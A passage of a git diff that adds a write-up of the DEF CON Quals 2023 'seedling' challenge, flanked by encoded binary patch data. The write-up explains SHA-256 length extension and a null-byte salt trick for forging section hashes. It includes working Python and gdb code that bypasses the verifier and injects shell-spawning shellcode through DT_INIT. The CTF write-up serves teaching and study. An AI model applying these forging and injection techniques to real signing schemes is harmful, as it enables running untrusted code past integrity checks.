zS0+P*2>&`Ndy}~x7fxc}@D}V-w~}o!Gvudgaxt!lS4!8$i)nIpRy7ERag?mLLptOF z1bgZ?M0=1sSMhv&Ml}us{Dy_Ic=`IMFJWheEe{x5-?4NxJwIfUERi>>gMKnBX8jg) z`_JY$3t|(>v(HaEj_k3TR5f-iLnJnE!@G{7IOk?L1==4OCWhTo9?~9i&?|@dRGpRx z&c&IZ<=#So$MXQQX7=zbaIL?I&_+{_tQVYGtYxBE3DDOC`i<{w8l&{rOZP8xLw;rJ zk~a8x<@jTq0q{a)7#tgA=0;Im6aaskKTzf{dd6#gw5`%I*cXU@6hHMG?`r*{3TEIQ zpwlJ8vELtz3d83*?O~E0!yF`)4R|?b374nKdzitaBh5-A5|%V$@h1j_!yS40pfpbekP7hWDXWB!UPXtR z=>jJ=CBCw}f){hwNHM?-SLjX@CV0)%{L=kDc(e*1$v@C(6~2&Z%{vF9>xatCs~3cD zuK5gqOqJu|^kL|Lz`4co3R@NpMr3Yt6+bf?>DIq$A3+E_S#{#8biQ?XvBc;B+R5nU z-*@Hkd{(s2_dkzD?%LUnMmA1w|8E~^qck5MsYD1YNB@0kCUw_IXyN2)1j#?3V~+n{ z@4i}(mOlHLF8H(sxe3eFQ)`q$I_YdS+7+%aDkz>T_4 z|#$;0D0Zr0pL;hz|50!@sH^juZ-?m8=%!*ZRP-;llFS1|8njes9 zdasz7EOJ*chN(ZG*_`80#V)$g#X2}C|glGj(RRsHB;cj_=L-g}2DOn%a>ym=+ zt7&;0n2ogg7ff;L>&&D1(ZMP-N(U_FrG*|8y5*kb5(t?LkH21cjoF6`_!n6|f1~tdD zKX+iBJR)T02kLo&?{pJc?$T>kXfpk!eB@u!V*#-1za@_R|Nb3q<-ltO$Hyd1b1Swa zMJwK%B=afm-EL7GN;S=m)VhTR>3@qI2mM?4|HO1+^hgNuhE@EixS8+|B;ZFyN%MZu IJ&Vx)1y&pWb^rhX literal 0 HcmV?d00001 diff --git a/2023/dcq/seedling.md b/2023/dcq/seedling.md new file mode 100644 index 0000000..8a649f3 --- /dev/null +++ b/2023/dcq/seedling.md @@ -0,0 +1,703 @@ +# manipulating the ELF format for great good (defcon quals 2023: seedling) + +>Here we have quite a hidden gem. This large conservatory complex used to be a bustling research facility for flora-computer interface. However after losing funding, the complex fell into disarray. +> +>After we got a hold of it, we were unable to get the main computing system working again. During the process of exploring the complex, we have located a backup mechanism which allows us to provide a new executable. +> +>However it seems to reject anything we give it. The only file we managed to find that worked was found in a drive in the head researcher's desk. This binary appears to have no real use, but perhaps you can figure out a way to get something more substantial running... + +Files: + + - `hashes.txt` (plain text) + - `signed_binary` (ELF, x86-64) + - `verify` (ELF, x86-64) + +immediately, we see that there are two binaries and a text file with a list of hashes, like this + +``` +0:F5CF3A81A57C45A7CE835A2DA5BB41055B5CA026E8B75DA5C05CF2CC73AD652F +1:876B824C1550432FC483259A5E5AD80E833B3EC77F37F4A980FA389860FC5380 +2:D56B039378D7BB006BEBE7F0CB35D81FFB0F8C3D8EE949CC7F45C6D22B89EAF5 +3:F466F2894B602058B7FE3365403392519F84F428317D9A1F013CE8D0581C415E +... +33:BDD5D27760ABB545F74460B5404301EDE9D0C3B4670D4F2ED876F172AE0742F7 +``` + +first, we take a look at `signed_binary` as it is the simpler one + +``` +$ ./signed_binary +Hello hackers +``` + +here's the `main` function + +```c +void main(void) + +{ + puts("Hello hackers"); + /* WARNING: Subroutine does not return */ + exit(0); +} +``` + +this is fairly straightforward, there's nothing super interesting here + +next, `verify` + +``` +$ ./verify +./verify [binary] [hashes] +``` + +since we don't know the key, we can't successfully run `verify` on `signed_binary`, but we can assume the server is running this with some secret key value + +if you analyze the binary (symbols are included, thanks lol), there's a main function which loads hashes and a signed binary, calls `verify_binary`, and if verification succeeds, it runs the binary + +i'm not going to put the decompilation of `verify_binary` here, since you can just see the original source code from the NI release. i had to work entirely in ghidra, which included a fun failure to do pointer-offsetting analysis + +```c +qVar3 = ADJ(pEVar9)->sh_offset; +uVar4 = ADJ(pEVar9)->sh_size; +uVar1 = uVar10 + 1; +uVar9 = uVar4; +if (((ADJ(pEVar9)->sh_type != SHT_NOBITS) && (uVar1 < __n)) && + (uVar9 = *(long *)(pEVar9 + 0x15) - qVar3, uVar9 < uVar4)) { +``` + +the last line here is actually looking at the next shdr's `sh_offset` field. alas,,,,, ghidra. you can just look at the source release or do the reversing yourself + +but from reversing we can see that it iterates over the following, computes a hash, and compares this to hashes in the given file + +- ELF header with `get_salt("elf", hashes, 0)` +- program headers (all together) with `get_salt("phdrs", hashes, 0)` +- section headers (all together) with `get_salt("shdrs", hashes, 0)` +- every section defined in the section headers with `get_salt("s", hashes, section_num)` + +`get_salt(prefix, hashes, index)` is a function which + +- extracts the prefix for the next hash to process. since hashes are in the form of + `:`, this gets the `` part. this prefix consists of any characters + except `:` that are found in the file up to the `:` +- computes the string form of `index` as a 2-digit decimal number +- returns a salt `prefix || hash_prefix || stringify(index)` + +hashes are computed with `hash_from_file`, which computes a SHA256 in the following way + +- `sha256_init` +- `sha256_update(salt, strlen(salt))` +- `sha256_update(key_data, 30)` +- `sha256_update(file_chunk, file_chunk_len)` +- `sha256_final` + +note that in the binary, there's a lot of inlining going on. you can check the definitions of the SHA256 functions and compare them to the code that's been inlined to understand what's going on. also, `check_next_hash` just does a hash comparison using SIMD instructions. don't worry about trying to reverse it exactly, it's a lot of spaghetti pseudocode equivalent to basically `hash1 == hash2` + +## the vulnerability + +the main vulnerability is that the SHA256 can be length-extended, since the verification is just using a single pass of SHA256 (not HMAC-SHA256 which would prevent length-extension attacks) + +## length extension + +what's the deal with length extension? + +(if this sounds familiar you can [skip this section](#or-can-we)) + +SHA-2 (SHA256, SHA224, etc) function by running chunks of input data through a block-oriented compression function. the compression function updates the internal algorithm state, and when all the data has been processed, the state becomes the hash output + +![diagram showing how the internal state evolves in SHA-2 as input blocks are processed](https://git.lain.faith/haskal/writeups/raw/branch/main/2023/dcq/res/sha-compression-diagram.svg) + +the important thing is that the algorithm state is completely represented by the hash, so by knowing the hash of a certain amount of data, you can continue running SHA-2 on more data by starting from that hash value instead of starting from the SHA constants + +there's a small hiccup: what if the input data to SHA-2 isn't a multiple of the block size? to address this, SHA-2 adds padding up to the next block size, and the padding ends with the length of the input in bits. the state of SHA-2 when the hash is complete includes running the padding and length through the compression function + +![diagram showing how the user data, padding, and length is all run through the compression function](https://git.lain.faith/haskal/writeups/raw/branch/main/2023/dcq/res/sha-diagram.svg) + +this leads to the following scheme: suppose you have the hash for some amount of partially unknown data, for example, an unknown key combined with known binary contents. you can create a new, valid hash of the unknown data combined with some additional attacker-controlled data like this: + +![diagram showing how if you append the original padding structure, followed by attacker-controlled data, you can generate a new valid hash](https://git.lain.faith/haskal/writeups/raw/branch/main/2023/dcq/res/sha-diagram-extended.svg) + +the extended hash value can be computed by starting with the hash of the original data as the sha-2 state, then feeding the attacker-controlled data. the downside is that there is up to [block size] bytes of uncontrolled padding that also needs to be included in the extended data + +putting this in code, we can create a simple hash extender using libsodium. this is libsodium's SHA-2 state structure which i've replicated in python + +```python +class sha2_ctx(ctypes.Structure): + _fields_ = [("state", ctypes.c_uint32 * 8), + ("count", ctypes.c_uint64), + ("buf", ctypes.c_byte * 64)] +``` + +first, we calculate the padding that would have been used for the original SHA-2 over the input data + +```python +def hash_extend(orig_data_len, orig_hash, extend_data): + if isinstance(orig_hash, str): + orig_hash = binascii.unhexlify(orig_hash) + + total_len = math.ceil((orig_data_len + 1 + 8) / 64) * 64 + padding_len = total_len - orig_data_len - 1 - 8 + padding = b"\x80" + (b"\x00" * padding_len) + struct.pack(">Q", orig_data_len*8) +``` + +then, we initialize a new SHA-2 context with the known hash. this basically fast-forwards a working SHA-2 algorithm state to be identical to the state right after finalizing the original input data + +```python + ctx = sha2_ctx() + sodium.crypto_hash_sha256_init(ctx) + for i in range(8): + ctx.state[i] = struct.unpack(">I", orig_hash[i*4:(i+1)*4])[0] + ctx.count = total_len * 8 +``` + +finally, we add the attacker-controlled data, and return the extended buffer and the new hash value + +```python + out_hash = ctypes.create_string_buffer(32) + sodium.crypto_hash_sha256_update(ctx, extend_data, len(extend_data)) + sodium.crypto_hash_sha256_final(ctx, out_hash) + + return padding + extend_data, bytes(out_hash) +``` + +let's test this out! + +```python +original_data = b"meow" +hashlib.sha256(original_data).hexdigest() +> '404cdd7bc109c432f8cc2443b45bcfe95980f5107215c645236e577929ac3e52' + +extend_data, new_hash = hash_extend(len(original_data), '404cdd7bc109c432f8cc2443b45bcfe95980f5107215c645236e577929ac3e52', b"hacked!") +binascii.hexlify(new_hash) +> b'e2707e81882dab99288e1c2d955223afaa9d174ed84b2e78329a6a11e02dbea1' + +hashlib.sha256(original_data + extend_data).digest() == new_hash +> True +``` + +this demonstrates the ability to add new data to an existing SHA256 hash and come up with a new valid hash for the combination, without actually having to know all of the original data! + +in practical terms, this means we can add new data to hashed regions of the `signed_binary`, and be able to fix up the hashes file to make the extension pass the verification checks + +## or can we??? + +there's one small issue with this: + +ELF binaries only load the segments specified as loadable in the program headers, which contain a file offset and size. and the program headers are verified. so appending data to the end of the binary wouldn't work, because the program headers can't be updated to reflect the new length! if we added additional data to the end, we could get the binary to pass verification but the additional data wouldn't actually be loaded into memory or interpreted usefully in any way by the kernel or the dynamic linker, so it would basically be pointless + +## ELF + +if this part sounds familiar you can [skip this section](#the-other-vulnerability) + +how do ELF binaries work? + +we can take a look at the binary using pyelftools + +```python +from elftools.elf.elffile import ELFFile +f = ELFFile(open("signed_binary", "rb")) +f.header +> Container({'e_ident': Container({'EI_MAG': [127, 69, 76, 70], 'EI_CLASS': 'ELFCLASS64', 'EI_DATA': 'ELFDATA2LSB', 'EI_VERSION': 'EV_CURRENT', 'EI_OSABI': 'ELFOSABI_SYSV', 'EI_ABIVERSION': 0}), 'e_type': 'ET_DYN', 'e_machine': 'EM_X86_64', 'e_version': 'EV_CURRENT', 'e_entry': 4192, 'e_phoff': 64, 'e_shoff': 14088, 'e_flags': 0, 'e_ehsize': 64, 'e_phentsize': 56, 'e_phnum': 13, 'e_shentsize': 64, 'e_shnum': 31, 'e_shstrndx': 30}) +``` + +the ELF header contains two things we're interested in. `e_phoff` specifies the file offset of the program headers, and `e_shoff` specifies the file offset of the section headers + +program headers tell the kernel which segments of the ELF file to load into memory and other things to prepare for execution. they also tell the dynamic linker the location of the `PT_DYNAMIC` segment, which contains dynamic linking information + +section headers list all the sections in the binary, which are portions of the segments with a predefined meaning. for example, `.text` is the standard section name for the executable code in the binary + +we can view the list of program headers and section headers with objdump + +```bash +$ objdump -x signed_binary + +... + +Program Header: + PHDR off 0x0000000000000040 vaddr 0x0000000000000040 paddr 0x0000000000000040 align 2**3 + filesz 0x00000000000002d8 memsz 0x00000000000002d8 flags r-- + INTERP off 0x0000000000000318 vaddr 0x0000000000000318 paddr 0x0000000000000318 align 2**0 + filesz 0x000000000000001c memsz 0x000000000000001c flags r-- + LOAD off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**12 + filesz 0x0000000000000650 memsz 0x0000000000000650 flags r-- + LOAD off 0x0000000000001000 vaddr 0x0000000000001000 paddr 0x0000000000001000 align 2**12 + filesz 0x0000000000000175 memsz 0x0000000000000175 flags r-x + LOAD off 0x0000000000002000 vaddr 0x0000000000002000 paddr 0x0000000000002000 align 2**12 + filesz 0x00000000000000d0 memsz 0x00000000000000d0 flags r-- + LOAD off 0x0000000000002de8 vaddr 0x0000000000003de8 paddr 0x0000000000003de8 align 2**12 + filesz 0x0000000000000250 memsz 0x0000000000000258 flags rw- + DYNAMIC off 0x0000000000002df8 vaddr 0x0000000000003df8 paddr 0x0000000000003df8 align 2**3 + filesz 0x00000000000001e0 memsz 0x00000000000001e0 flags rw- + NOTE off 0x0000000000000338 vaddr 0x0000000000000338 paddr 0x0000000000000338 align 2**3 + filesz 0x0000000000000020 memsz 0x0000000000000020 flags r-- + NOTE off 0x0000000000000358 vaddr 0x0000000000000358 paddr 0x0000000000000358 align 2**2 + filesz 0x0000000000000044 memsz 0x0000000000000044 flags r-- +0x6474e553 off 0x0000000000000338 vaddr 0x0000000000000338 paddr 0x0000000000000338 align 2**3 + filesz 0x0000000000000020 memsz 0x0000000000000020 flags r-- +EH_FRAME off 0x0000000000002014 vaddr 0x0000000000002014 paddr 0x0000000000002014 align 2**2 + filesz 0x000000000000002c memsz 0x000000000000002c flags r-- + STACK off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**4 + filesz 0x0000000000000000 memsz 0x0000000000000000 flags rw- + RELRO off 0x0000000000002de8 vaddr 0x0000000000003de8 paddr 0x0000000000003de8 align 2**0 + filesz 0x0000000000000218 memsz 0x0000000000000218 flags r-- + +... + +Sections: +Idx Name Size VMA LMA File off Algn + 0 .interp 0000001c 0000000000000318 0000000000000318 00000318 2**0 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 1 .note.gnu.property 00000020 0000000000000338 0000000000000338 00000338 2**3 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 2 .note.gnu.build-id 00000024 0000000000000358 0000000000000358 00000358 2**2 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 3 .note.ABI-tag 00000020 000000000000037c 000000000000037c 0000037c 2**2 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 4 .gnu.hash 00000024 00000000000003a0 00000000000003a0 000003a0 2**3 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 5 .dynsym 000000c0 00000000000003c8 00000000000003c8 000003c8 2**3 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 6 .dynstr 00000092 0000000000000488 0000000000000488 00000488 2**0 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 7 .gnu.version 00000010 000000000000051a 000000000000051a 0000051a 2**1 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 8 .gnu.version_r 00000030 0000000000000530 0000000000000530 00000530 2**3 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 9 .rela.dyn 000000c0 0000000000000560 0000000000000560 00000560 2**3 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 10 .rela.plt 00000030 0000000000000620 0000000000000620 00000620 2**3 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 11 .init 0000001b 0000000000001000 0000000000001000 00001000 2**2 + CONTENTS, ALLOC, LOAD, READONLY, CODE + 12 .plt 00000030 0000000000001020 0000000000001020 00001020 2**4 + CONTENTS, ALLOC, LOAD, READONLY, CODE + 13 .plt.got 00000008 0000000000001050 0000000000001050 00001050 2**3 + CONTENTS, ALLOC, LOAD, READONLY, CODE + 14 .text 00000107 0000000000001060 0000000000001060 00001060 2**4 + CONTENTS, ALLOC, LOAD, READONLY, CODE + 15 .fini 0000000d 0000000000001168 0000000000001168 00001168 2**2 + CONTENTS, ALLOC, LOAD, READONLY, CODE + 16 .rodata 00000012 0000000000002000 0000000000002000 00002000 2**2 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 17 .eh_frame_hdr 0000002c 0000000000002014 0000000000002014 00002014 2**2 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 18 .eh_frame 00000090 0000000000002040 0000000000002040 00002040 2**3 + CONTENTS, ALLOC, LOAD, READONLY, DATA + 19 .init_array 00000008 0000000000003de8 0000000000003de8 00002de8 2**3 + CONTENTS, ALLOC, LOAD, DATA + 20 .fini_array 00000008 0000000000003df0 0000000000003df0 00002df0 2**3 + CONTENTS, ALLOC, LOAD, DATA + 21 .dynamic 000001e0 0000000000003df8 0000000000003df8 00002df8 2**3 + CONTENTS, ALLOC, LOAD, DATA + 22 .got 00000028 0000000000003fd8 0000000000003fd8 00002fd8 2**3 + CONTENTS, ALLOC, LOAD, DATA + 23 .got.plt 00000028 0000000000004000 0000000000004000 00003000 2**3 + CONTENTS, ALLOC, LOAD, DATA + 24 .data 00000010 0000000000004028 0000000000004028 00003028 2**3 + CONTENTS, ALLOC, LOAD, DATA + 25 .bss 00000008 0000000000004038 0000000000004038 00003038 2**0 + ALLOC + 26 .comment 00000050 0000000000000000 0000000000000000 00003038 2**0 + CONTENTS, READONLY +``` + +both program headers and section headers contain sizes, so we can't add more data to the end of a segment or a section without changing the size field in the header. and we don't have that ability. we can only add additional data to an already verified part of the binary, we can't change the existing verified parts. even worse, since file offsets are in the verified headers, we can't change the layout of the binary at all. none of the verified parts can move around in the file + +so what do we have the ability to do? + +given an existing verified chunk of the binary, we can produce an extended version of the chunk that has additional data, partially controlled by us. so why not take one of the shorter sections and perform the length extension attack on its contents, then put that in the space occupied by a larger section? + + +## the other vulnerability + +if we revisit section verification, recall that the sections are verified in order as the appear in the section headers. the section headers point to a specific offset and size in the file. so if we perform length extension on a shorter section, put the resulting data in a longer section, and replace that longer section's hash with the one we computed from the length extension, we end up with the ability to partially control the contents of a section + +there's one small problem here: the salt computation. the section used for the length extension and the victim section would have different indices, resulting in different salts. this would make it impossible to compute a correct length-extension hash, since we don't have a starting SHA state that uses the correct salt + +so here's the second vulnerability that will help us: you may have noticed that the prefix taken from the `hashes.txt` file is copied into the salt string verbatim, up until specifically the `:` character. this means that null bytes included in `hashes.txt` will be copied into the salt buffer. however, when the salt is fed into the SHA256 operation, the length is computed with `strlen`. this means we can inject a null byte into the salt to terminate it early. since the normally uncontrolled index value occurs after the controlled prefix, we can forge an arbitrary index and null-terminate the string early to prevent the real index from occurring in it + +here's an example. suppose the verification process is checking a section with number `9`, that has a prefix in `hashes.txt` of `12`. (empirically, during verification, the `hashes.txt` numbers and the section numbers differ by `3`, so if we're faking section data we need to make sure to follow this pattern. also note that `hashes.txt` numbers are decimal while the appended section numbers in the salt are hexadecimal). this would result in a salt of `s1209`. however, if we change the prefix in the `hashes.txt` to be `502\x00` this results in `s502\x0009`, or `s502`, which mimics a section with number `02` that had a `hashes.txt` prefix of `5`. essentially, we can re-number sections to whatever we want + +let's verify this in `gdb` + +```bash +(gdb) start +... +Temporary breakpoint 1, 0x0000555555556a20 in main () +(gdb) shell printf "5:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b8\n" > salt_demo.txt +(gdb) set $hashes = (void*) fopen("salt_demo.txt", "r") +``` + +let's simulate a salt computation for section number `9` + +```bash +(gdb) print (char*) get_salt("s", $hashes, 9) +$1 = 0x55555555a4e0 "s509" +``` + +by default, we get a mismatch of the `hashes.txt` index and appended section number. however, using early null termination + +```bash +(gdb) start +... +Temporary breakpoint 1, 0x0000555555556a20 in main () +(gdb) shell printf "502\x00:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b8\n" > salt_demo.txt +(gdb) set $hashes = (void*) fopen("salt_demo.txt", "r") +(gdb) print (char*) get_salt("s", $hashes, 9) +$2 = 0x55555555a4e0 "s502" +``` + +just for fun, we can demonstrate that faking `shdrs` is also possible, though we don't end up using this in the final exploit + +```bash +(gdb) start +... +Temporary breakpoint 1, 0x0000555555556a20 in main () +(gdb) shell printf "hdrs00\x00:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b8\n" > salt_demo.txt +(gdb) set $hashes = (void*) fopen("salt_demo.txt", "r") +(gdb) print (char*) get_salt("s", $hashes, 9) +$3 = 0x55555555a4e0 "shdrs00" +``` + +now we can use this trick for great good, but first we need to set up a testing environment. with the NI source release, you know what the keyfile used to calculate the stock `hashes.txt` was now, but during the CTF this was unknown. so we needed a way to be able to run `verify` to completion locally while developing the exploit + +## creating a test environment + +since we don't know the real key, let's generate a hashes.txt for a key that we do know + +```bash +$ echo -n "meowmeowmeowmeowmeowmeowmeowme" > test_key.txt +$ gdb --args ./verify test_key.txt signed_binary hashes.txt +(gdb) set $base64 = 0x0000555555554000 +(gdb) set $index = 0 +# break on the RET instruction of hash_from_file +(gdb) b *($base64 + 0x01ffc) +(gdb) commands +Type commands for breakpoint(s) 1, one per line. +End with a line saying just "end". +>dump binary memory /tmp/hash $rax $rax+32 +>eval "shell echo -n %d:", $index +>shell xxd -p -c 32 /tmp/hash +>set $index = $index+1 +>c +>end +# next, break inside check_next_hash and make it always succeed +(gdb) b *($base64 + 0x02092) +(gdb) commands +Type commands for breakpoint(s) 2, one per line. +End with a line saying just "end". +>jump *($base64 + 0x020cd) +>end +(gdb) run +... +0:b6270578d3f48b4bc60cf5d4d2a81615d5635ad3ead5a980249e5ef939a045c0 +... +1:319a2637b2d4220fa02b3a45c40114764458d87ad69b0006a2ea54f697bae580 +...... +``` + +we can put these test_hashes in a file, and now we can run verify successfully + +```bash +$ ./verify test_key.txt signed_binary test_hashes.txt +Verifying binary... +Successfully verified binary! +Hello hackers +``` + +## section replacement + +now let's try replacing a section with another section, using the null byte trick to control the salt. we can target `.init_array` and `.fini_array`, which are both 8 bytes long + +```python +init_array_salt = b"s2314" +init_array_hash = "23:52ac6af154f0fcb8cf318d9359f708078ead1372c581dca7d3466696904c38d0" +init_array_hash = init_array_hash.split(":")[1] +init_array_data = f.get_section_by_name(".init_array").data() + +fini_array_offset = f.get_section_by_name(".fini_array").header.sh_offset + +with open("./test_hashes.txt", "rb") as f_: + hashes = [x for x in f_] + +hashes[24] = init_array_salt[1:] + b"\x00:" + init_array_hash.encode() + b"\n" + +with open("./signed_binary", "rb") as f_: + binary = bytearray(f_.read()) + +binary[fini_array_offset:fini_array_offset+8] = init_array_data + +with open("./test_hashes_modified.txt", "wb") as f_: + f_.writelines(hashes) + +with open("./signed_binary_modified", "wb") as f_: + f_.write(binary) +``` + +let's try it out + +```bash +$ ./verify test_key.txt signed_binary_modified test_hashes_modified.txt +Verifying binary... +Successfully verified binary! +Hello hackers +``` + +## finding a victim section + +now we have all the building blocks for an exploit working. we're almost done! all that's left is to figure out where exactly to apply them + +clearly, in order to pop a shell we'll need to put shellcode into `.text`. the issue is, because of the padding needed for the length extension attack, we'll end up with a bunch of garbage instructions at the beginning of `.text`. let's see what that's overwriting + +![the first function in .text is \_start](https://git.lain.faith/haskal/writeups/raw/branch/main/2023/dcq/res/text-section.png) + +yikes + +during the CTF, we tried to identify existing sections that could fit the size constraints and contained valid instructions to jump to an address further down, but didn't find anything. clearly a smarter approach is needed + +what would be able to transfer control somewhere arbitrarily in the middle of an executable section? + +let's look at the dynamic linker, + +## the dynamic section + +the `.dynamic` section contains metadata for the dynamic linker, like the location of init functions, the offset of the relocations table, required shared libraries to load, and other things. the format is an array of a tag and a value + +```c +typedef struct { + Elf64_Sxword d_tag; /* entry tag value */ + union { + Elf64_Xword d_val; + Elf64_Addr d_ptr; + } d_un; +} Elf64_Dyn; +``` + +there are two important facts about the dynamic section + - the array is terminated by a null entry (ie, `d_tag == 0`) + - invalid tags are ignored by the dynamic linker + + so if we can line up a length extension correctly, we can get the padding to be interpreted as invalid tags, and then continue with valid tags to do our attack + +next we need to figure out which entry to target. originally, we tried to create a new pair of entries, `DT_PREINIT_ARRAY` and `DT_PREINIT_ARRAYSZ`. preinit arrays are a feature that allows executing code before `_start`, which seemed ideal at first, however we realized that in order for this to work we'd also need to create a new relocation to add the ASLR offset in the preinit array, and that's a lot of fixups to do + +there's a simpler solution: modify the `DT_INIT` value, which has ALSR offset added automatically, and then do the length extension again targeting the `.fini` section to inject the shellcode. nothing actually checks that the `DT_INIT` value is in the `.init` section - we can put it in `.fini` and the dynamic linker will accept it. importantly, this leaves `.text` alone, which allows `_start` to execute unmodified. we target `.fini` because it's at the end of the executable segment, which causes there to be a lot of padding between it and the next section, `.rodata`, which is in a read-only segment. this leaves plenty of space for the length-extension padding and shellcode. let's try that approach + +## putting it together + +we need two length extensions, one for `.dynamic` and one for `.fini` + +let's do `.fini` first. we start with the hash and data for `.init_array`, as before + +```python +from pwn import * +context.arch = "amd64" +shellcode = asm(shellcraft.amd64.linux.sh()) + +import binascii, hashlib, struct + +from elftools.elf.elffile import ELFFile + +from sha2extend import * + +def modify_binary(hashes_file="./test_hashes.txt"): + binary = ELFFile(open("./signed_binary", "rb")) + with open("./signed_binary", "rb") as f: + binary_contents = bytearray(f.read()) + + with open(hashes_file, "rb") as f: + hashes = [x for x in f] + + key_len = 30 +``` + +first we get metadata about `.fini` and `.init_array` + +```python + fini_idx = binary.get_section_index(".fini") + fini_off = binary.get_section(fini_idx).header.sh_offset + fini_end_off = binary.get_section(fini_idx + 1).header.sh_offset + fini_len = fini_end_off - fini_off + + init_array_idx = binary.get_section_index(".init_array") + init_array_data = binary.get_section(init_array_idx).data() + init_array_hash = hashes[init_array_idx + 3].split(b":")[1].decode().strip() +``` + +next, execute the length extension attack + +```python + fini_extension, new_fini_hash = hash_extend(len(init_array_data) + len("sXXYY") + key_len, + init_array_hash, shellcode) + fini_extension = init_array_data + fini_extension +``` + +we need to also cover the padding between `.fini` and `.rodata`, so now that we know how long the length extension is, let's do it again with the necessary padding included + +```python + pad_len = fini_len - len(fini_extension) + fini_extension, new_fini_hash = hash_extend(len(init_array_data) + len("sXXYY") + key_len, + init_array_hash, shellcode + (b"\x00" * pad_len)) + fini_extension = init_array_data + fini_extension + + binary_contents[fini_off:fini_off+len(fini_extension)] = fini_extension + hashes[fini_idx + 3] = (f"{init_array_idx+3}{init_array_idx:02X}".encode() + b"\x00:" + + binascii.hexlify(new_fini_hash) + b"\n") +``` + +that's it, now write the modification to new files + +```python + with open("./signed_binary_modified", "wb") as f: + f.write(binary_contents) + + with open(hashes_file + "_modified", "wb") as f: + f.writelines(hashes) +``` + +let's try it out + +```bash +$ ./verify test_key.txt signed_binary_modified test_hashes.txt_modified +Verifying binary... +Successfully verified binary! +Hello hackers +zsh: segmentation fault (core dumped) ./verify test_key.txt signed_binary_modified test_hashes.txt_modified +``` + +it passes verification! and now we have our shellcode loaded into executable memory. now we just need to execute it + +for targeting `.dynamic`, we need a length extension that does not result in a `DT_NULL` tag before our controlled data - otherwise the dynamic linker will stop reading the entries. Therefore, we need a slightly longer source for length extension that does not start with `0x0000000000000000`, and results in the padding not having `0x0000000000000000` in the wrong spot either. by examining the remaining small sections in the binary we find that `.plt.got` fits the constraints + +first, we extract and modify `.dynamic` + +```python + dynamic_idx = binary.get_section_index(".dynamic") + dynamic_off = binary.get_section(dynamic_idx).header.sh_offset + dynamic_data = bytearray(binary.get_section(dynamic_idx).data()) + dynamic_len = len(dynamic_data) +``` + +locate the `DT_NULL` tag and cut off the dynamic section at that point -- the rest is padding + +```python + for i in range(0, len(dynamic_data), 16): + if dynamic_data[i:i+16] == (b"\x00" * 16): + dynamic_data = dynamic_data[:i+16] + break + +``` + +find the `DT_INIT` tag and fill it in with the address of the shellcode + +```python + addr = binary.get_section(fini_idx).header.sh_addr + fini_extension.index(shellcode) + + for i in range(0, len(dynamic_data), 16): + dyn = struct.unpack("I zdu{8w!+VWHmiafIe-jyPgt_vyuvq5J=zfc#Zprv-Yiq~C;`RNm$%&=Ag*a=P9z$l@ zfH-lUk1v8w;}@DViQH@Gc7U1Auv7ZXOs+W8YNkm@=Xz_W8`Af(-F@9>wCvoLMX~|3 z=mT-0)EngHmPa}%J#)ISR2CL< ziK-UCCV>dOmz}dV*+%Yo%QYmCyxdv(<=oN*1zZppO(q||!51PiR$hl`-eN1ZzLKMf z>Kp#xVmcjeLBooe?1S8!^oq$J*W@Wb$W8gXq&xNFX$`OXS$oQlltLKns5M0tB6C`) zXZ}w3aRl+R_7s#SEt1o4lT}Qx=M|(An-*CNPt666+WTZzy4mN>MCQmI={f|;suW@J z$a?j^hS#3Do$=^pP)Tb22LlT1*;Mx{O1qNZgUm{fOe(=-9yFyxQ>j4l3pP_xuhHS; zQugHizgI3=?KXc4_`OD#G*6ZsP`+ExooXe}84Sv02?+9KimfQ})c~ztjAq@udp{m2 zc|thj91tD*4|=niugUml=7O{e2PvhaVc?e^(jk^V3J?8&E5S>T6P4F_F)r>YucTs( z$fkryDHiCU^uAzZpUL05*%>bMLD*Mpjjv z=aRPexVJ(R^Fc0tXe#KjvKoimL#qj~{198qVwZfEE!`ypRFnFR#tDNz&g=UBnqAhz zYp@bROUPTZvq-v~r?b=d|8k4A)X(j?*IUh*<5&yij_6Lwc)?qLF52N}SE>HBzT@%} zhRU}SZ9H4f>8IydeHQ|3++l%4oO!pw`33oHx5u@=b|%NoFXE%~qh7k<@7r2XW*c$` zec?Mi{USJJ*4@#aWAE_Ciu~Ii)s68B0jlf!K#K6|g`4e7cQLt;@*~mVA2+_6a(mvi zp6NqY?5{XcV_F?Ddu41r8AFTgJvl=T{i@3s@*%eDVueFx?14m4izg0fQDYjuq*3@) z?u=2a>K#gZjBH{#L&WTX@1j^We37D9wVu$hPS^smqt4j^ss8g&5sq5Cl`g&MW(y>X zN~yd7u?6BpU02>Tk-$GiRcSuGkOTvwuFGybNK9q-AnH$wBoakK`E0MISdz+n4kW?R zL;qo9_K0&uL51ftU`XIM4+nt!Y=!SU-OC6v#?CgSo_3@1!_pWi?a};LI5YwRj9~=~ zVhEN4%(ZsE5Y)f)%TcBjNfDPw%2K9GOW~GCDo~~r54=Q5#D1hL4BLvVm-){=z%7Fy zTk!q(b`lfDy+H1YY=i-0S@6w7!@_`Jm*3iB9TGhQQ%4!u&6!&99mL|1DI$Yu9mK+s z&m!UM3%(Di-jUqWlqm&oWKXNoM$1^{)>0k}%fDH_Mg}9Fk?;r0@W}czQAn2L&pr1SC@W5LRd0Dh;fk^sV#RBM^i(W#Y!M1c zrWS?{{?n~PnZJ!U{V>hCa0DYFP=rJFu{SN&44aG|mKsZ|^iEuNViKla{9vxmv$eje z5*ix=w{SAfMlGnmi%EJ(ZM)#$jg7ad{9B%op{W=@sM2Lgw-Z&m-(xX-i1leTt{hc; zqayoX1;{nbrW2m!*AsHau?_6cgEV}&;o-g$1w7r;L=Ue_uF@B*HmjI%pPX?XES)jJI+2M=I*CGlYXcs?3UW`sh- 